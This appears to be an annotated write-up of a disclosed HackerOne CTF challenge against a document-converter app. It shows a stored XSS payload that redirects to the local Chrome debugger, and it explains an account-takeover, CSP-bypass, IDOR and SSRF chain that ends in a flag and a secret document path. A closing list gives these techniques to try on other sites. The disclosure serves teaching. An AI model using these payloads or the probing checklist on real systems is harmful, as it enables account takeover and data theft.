[ {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "My Docz Converter",   "type": "page",   "url":"http://localhost:3000/converter/[redacted].png?user_name=Jobert%3Cscript%3Edocument.location.href%3D%27http%3A//localhost%3A9222/json%27%3C/script%3E",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "My Docz Converter",   "type": "page",   "url": "http://localhost:3000/login?secret_document=[redacted].pdf",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "about:blank",   "type": "page",   "url": "about:blank",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "about:blank",   "type": "page",   "url": "about:blank",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"}, {   "description": "",   "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/[redacted]",   "id": "[redacted]",   "title": "about:blank",   "type": "page",   "url": "about:blank",   "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/[redacted]"} ]

Line by line:

  • The whole thing is a JSON array, written with square brackets [ ... ], holding one object per open tab. Each object is written with curly braces { ... } and holds name/value pairs.
  • "description": "" is an empty description field.
  • "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9222/devtools/page/..." is the address of the developer tools page that would attach to this tab.
  • "id": "..." is the internal identifier of the tab.
  • "title": "My Docz Converter" is the title of the page in that tab. Several tabs show this title, which tells us they are pages of the converter application.
  • "type": "page" says this entry is a normal page.
  • "url": "..." is the address the tab currently has open. This is the valuable field: it tells the attacker what the browser is looking at.
  • "webSocketDebuggerUrl": "ws://localhost:9222/devtools/page/..." is the address of the full two-way debugging connection for that tab.

One tab is http://localhost:3000/login?secret_document=[redacted].pdf. The secret_document parameter carries the file name of the secret document. Retrieving the secret document name and accessing it as a normal document reveals the secret document at:

Text
https://h1-415.h1ctf.com/documents/[redacted].pdf

Line by line:

  • https://h1-415.h1ctf.com is the site.
  • /documents/ is the folder where documents are served.
  • [redacted].pdf is the file name taken from the tab list.

The flag is h1ctf{y3s_1m_c0sm1c_n0w}.

Why it all worked

Several independent mistakes combined:

  1. The registration filter strips special characters from the email, so an input such as [redacted]< collapses to an existing privileged identity. The QR code is then generated for that identity with a valid code, so the recovery flow authenticates the attacker as Jobert.
  2. The support chat does not sanitise messages on the frontend, and the CSP allows scripts from a third-party CDN path. Githack's traversal handling (..%2f) lets an attacker host a script outside the intended directory while the browser still sees the URL as a child of the allowed path. The double encoding (..%252f) in the final payload is what survives the HTML context and reaches Githack as ..%2f.
  3. The support review form trusts the user_id parameter and does not filter characters in the name, so any user can be edited and XSS payloads can be stored where the public settings endpoint would have rejected them.
  4. The document converter renders the owner's name as HTML, so a name containing <script> or <iframe> executes in the converter's browser context.
  5. The Chrome debugger API listens on port 9222 and is reachable from the converter, exposing /json/list and the WebSocket debugger URLs.

What an attacker gets

An attacker with no privileges can retrieve the special secret document hosted on the site. The chain requires the ability to register an account, to reach the support endpoint, and to trigger a document conversion. Jobert's account cannot be modified even through the support form, and the licence appears expired, so the upload functionality is not directly usable; .

What would need fixing

The report does not describe fixes. The weaknesses that would need addressing are: validating the email against the original input rather than the filtered value, binding the recovery code to the exact stored identity, sanitising support chat messages, tightening the CSP so it does not trust a third-party CDN path that permits traversal, checking user_id on the support review form and filtering characters there, escaping the owner's name in the converter, and not exposing the Chrome debugger API on a port reachable from the converter.

Things worth trying elsewhere

  • Registration filters that strip characters: try inputs that collapse to an existing privileged email, and check whether the recovery code is generated for the filtered value. A positive result is a QR code or recovery code that authenticates as the privileged account.
  • CSP rules that allow a CDN path: check whether the CDN normalises ..%2f or ..%252f and whether the browser still treats the resulting URL as a child of the allowed path. A positive result is a script loading from outside the intended directory while the CSP is satisfied.
  • Support or review forms with a user_id parameter: try changing it to another user's id and submitting a name with HTML. A positive result is the victim's name changing and the payload being stored unfiltered.
  • Document converters that render the owner's name: submit a name containing <script> or <iframe> and check whether the converter executes it. A positive result is a redirect or an iframe fetch from the converter's browser.
  • Local port scanning through iframes: submit a document with many iframes pointing at localhost ports and look for responses. A positive result is a port returning a recognisable banner such as Inspectable web contents.
  • Chrome debugger API on port 9222: request /json/list through the SSRF and inspect the returned tabs. A positive result is a list of open tabs with URLs and titles, including any secret document paths.

Glossary

  • API: a set of addresses a program offers so other programs can talk to it.
  • Attribute: a label attached to an element in HTML, such as data-email.
  • Blind XSS: an XSS payload that runs later, in someone else's browser, without the attacker seeing the result directly.
  • CDN: a service that stores and serves copies of files quickly, often from many locations.
  • Cookie: a small note the server gives the browser and the browser sends back on later requests, used to remember who you are.
  • CSP (Content-Security-Policy): a rule from the server telling the browser which sources of content are allowed.
  • CSRF token: a random value placed in forms so only forms the site generated can be submitted.
  • Endpoint: one specific address on a server that does one specific job.
  • Escaping: turning characters with special meaning into harmless text so they are displayed rather than executed.
  • Frontend: the part of an application that runs in the browser.
  • Hexadecimal: a way of writing data using the characters 0 to 9 and a to f, two characters per byte.
  • IDOR (Insecure Direct Object Reference): a form or endpoint that trusts an identifier from the user without checking that the user is allowed to touch that record.
  • iframe: a way to embed one web page inside another.
  • JSON: a text format for structured data made of names and values in braces and brackets.
  • Localhost: the name a computer uses to talk to itself.
  • Parameter: a piece of information handed to an endpoint, in the address or in the request body.
  • Port: a numbered door on a computer, where a service listens.
  • Referrer: the address of the page you came from, sent by the browser.
  • Sanitise: clean input so that code hidden in it cannot run.
  • Session cookie: the cookie that identifies the logged-in user.
  • SSRF (Server-Side Request Forgery): making the server itself send a request to an address the attacker cannot reach directly.
  • Token: a value that proves something, such as that a request comes from your own browser.
  • WebSocket: a two-way connection that stays open between browser and server.
  • XSS (Cross-Site Scripting): getting your own JavaScript to run inside someone else's browser while they view the target site.

More by blaklis

View all

1 more disclosed report, best first.

More from h1-ctf

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.